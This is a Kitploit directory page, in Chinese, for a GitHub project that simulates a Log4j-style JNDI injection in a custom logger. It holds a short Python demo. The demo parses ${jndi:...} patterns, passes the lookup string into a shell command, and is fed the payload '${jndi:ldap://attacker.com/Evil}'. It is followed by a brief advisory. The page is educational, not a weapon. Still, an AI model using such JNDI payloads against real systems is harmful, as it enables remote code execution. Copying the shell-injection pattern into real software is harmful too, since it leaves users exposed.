Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated- — 模拟 CVE-2026-21011,一种自定义日志记录器中的 Log4j 风格 JNDI 注入:解析 ${jndi:...} 模式并演示 LDAP 触发的远程代码执行。 | Kitploit
工具/GitHubGitHub/george0papasotiriou/cve-2026-21011-log4j-style-jndi-injection-in-custom-logger-simulated-
漏洞分析漏洞利用Web应用程序漏洞利用学习与教育
GitHubgeorge0papasotiriou/cve-2026-21011-log4j-style-jndi-injection-in-custom-logger-simulated-

CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-

模拟 CVE-2026-21011,一种自定义日志记录器中的 Log4j 风格 JNDI 注入:解析 ${jndi:...} 模式并演示 LDAP 触发的远程代码执行。

查看仓库

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
17天前尚未审核

CVE-2026-21011 – 自定义日志记录器中的 Log4j 式 JNDI 注入(模拟)

程序代码(用 Python 模拟 Java 的示例)

root@kitploit:~
# log4j_sim.py - Custom logger that evaluates ${...} patterns
import subprocess, re

def log(message):
    # Vulnerable: looks up JNDI-like syntax and executes
    pattern = r'\$\{jndi:(.+?)\}'
    for match in re.finditer(pattern, message):
        lookup = match.group(1)
        if lookup.startswith('ldap://'):
            # Simulate connecting to LDAP and loading a class
            print(f"Loading malicious class from {lookup}")
            subprocess.run(f"echo 'CLASS LOADED: {lookup}'", shell=True)  # just demo

log("User-Agent: ${jndi:ldap://attacker.com/Evil}")

CVE-2026-21011 – 通过自定义日志记录器进行的 JNDI 注入

Severity: Critical

概述

自定义日志框架会对日志消息中的 ${jndi:...} 模式进行求值,这与臭名昭著的 Log4Shell 漏洞类似。攻击者可以注入 JNDI 查找,从而从远程服务器加载并执行任意代码。

漏洞详情

  • **类型:**代码注入 / JNDI 注入
  • **影响:**远程代码执行。
  • **根本原因:**日志记录器会解析用户可控的数据,并根据内容执行动态查找。

漏洞利用演示

运行模拟:

root@kitploit:~
python log4j_sim.py

该脚本会输出它将从攻击者的 LDAP 服务器加载一个类。

下载工具